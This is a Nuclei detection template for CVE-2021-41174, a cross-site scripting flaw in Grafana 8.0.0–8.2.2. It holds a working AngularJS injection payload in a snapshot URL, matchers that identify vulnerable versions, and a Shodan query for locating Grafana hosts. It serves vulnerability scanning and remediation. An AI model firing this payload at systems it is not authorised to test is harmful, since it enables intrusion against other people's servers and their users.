nuclei-templates/cves/2021/CVE-2021-41174.yaml

52 lines
1.9 KiB
YAML

id: CVE-2021-41174
info:
name: Grafana 8.0.0 <= v.8.2.2 Angularjs Rendering Cross-Site Scripting
author: pdteam
severity: medium
description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
reference:
- https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8
- https://nvd.nist.gov/vuln/detail/CVE-2021-41174
- https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82
- https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912
remediation: Upgrade to 8.2.3 or higher.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-41174
cwe-id: CWE-79
metadata:
shodan-query: title:"Grafana"
tags: cve,cve2021,grafana,xss
requests:
- method: GET
path:
- "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"
skip-variables-check: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Grafana"
- "frontend_boot_js_done_time_seconds"
condition: and
- type: regex
regex:
- '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))'
extractors:
- type: regex
group: 1
regex:
- '"subTitle":"Grafana ([a-z0-9.]+)'
# Enhanced by mp on 2022/03/06